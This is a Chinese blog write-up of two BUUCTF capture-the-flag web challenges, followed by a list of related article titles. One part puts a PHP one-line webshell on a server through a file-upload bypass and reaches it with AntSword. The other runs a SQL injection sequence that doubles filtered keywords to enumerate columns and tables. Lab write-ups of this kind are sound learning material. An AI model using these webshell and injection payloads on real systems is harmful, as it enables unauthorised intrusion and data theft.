当前位置: 首页 > news >正文

BUUCTF-web刷题篇(5)

13.upload1 文件上传漏洞(上传图片)

按照传统方法,新建文件(xinjian)写一句话木马,利用Windows文件后缀识别的特点,将后缀名改为图片后缀名(xinjian.jpg),上传文件,抓包改包。

GIF89a
<script language="php">@eval($_POST['shell']);</script>

修改filename(改为phtml后缀)和Content-Type(改为如图)

上传成功后显示文件路径

构架url用蚁剑连接

打开flag

14.BabySQL (注入)

尝试注入:/check.php?username=admin&password=admin

出现错误信息,再试试万能钥匙

你有一个错误在你的SQL语法;检查与您的MariaDB服务器版本对应的手册,以便在第1行'1=1#'和password='1''附近使用正确的语法。

发现or被过滤了,试试双写 将or换为oorr

双写可以绕过,后面遇到同样被过滤的词,直接双写就OK了。

①查看字段数

/check.php?username=1'oorrder bbyy 1%23&password=1'
/check.php?username=1'oorrder bbyy 2%23&password=1'
/check.php?username=1'oorrder bbyy 3%23&password=1'
/check.php?username=1'oorrder bbyy 4%23&password=1'

字段为1,2,3的时候页面显示为

字段为4报错

②联合查询1,2,3字段

/check.php?username=1'ununionion selselectect 1,2,3%23&password=1'
需要双写union和select

可以在页面上返回信息的是2,3字段。

③爆破当前的库、用户

/check.php?username=1'ununionion selselectect 1,user(),database()%23&password=1'
需要双写union和select

④爆破表

/check.php?username=1'ununionion selselectect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=1'
需要双写union、select、from、or、where

⑤爆破b4bsql表

/check.php?username=1'ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd
table_name='b4bsql'%23&password=1'
双写union、select、from、or、where、and

http://www.dtcms.com/a/101173.html

相关文章:

  • Sentinel实战(一)、1、sentinel介绍、安装及初始化服务监控
  • 微信小程序:数据拼接方法
  • MP3、WAV、RM、PNG格式
  • deepseek ai 输入法
  • OLLAMA 未授权访问-漏洞挖掘
  • 12. STL的原理
  • Spring Cloud Gateway中GatewayFilter Factories(网关过滤工厂)的详细介绍
  • 【Es】Elasticsearch 在日志管理与数据分析中的应用实践
  • 利用 Excel 函数随机抽取(附示例)
  • 脑疾病分类的疑惑【7】一般FMRI数据都存储为什么格式?能不能给我用数据简单的描述一下FMRI是如何存储的?
  • RK3588使用笔记:debian/ubuntu/麒麟系统下基础功能配置(不定期更新)
  • PS底纹教程
  • PyTorch Day 首次登陆 2025 智源大会!论文征集开启
  • Apache Doris 高频问题排查指南:从报错到性能优化
  • [ C++ ] | C++11 从左值引用到右值引用
  • 网络安全之超强Linux信息收集:渗透测试与应急响应的基石(命令超强集合工作手册)
  • HashMap、HashTable 与 ConcurrentHashMap 的区别
  • 从入门到精通【 MySQL】 数据库约束与设计
  • 小学数学解题方法专题3-列表法-提升2
  • MySQL 8.X 仅迁移非系统数据库账号和权限信息
  • 工地扬尘监测仪:守护蓝天白云的重要工具
  • golang的database.sql包和事务处理
  • JAVA实战开源项目:体育馆使用预约平台(Vue+SpringBoot) 附源码
  • 音视频学习(三十一):DASH协议
  • 测试用例管理工具
  • Opencv计算机视觉编程攻略-第四节 图直方图统计像素
  • tsconfig.json:error TS6306: Referenced project ‘/tsconfig.node.json‘
  • (二)GEE基础学习初探及案例详解【20250330】
  • .global
  • Nginx — Nginx处理Web请求机制解析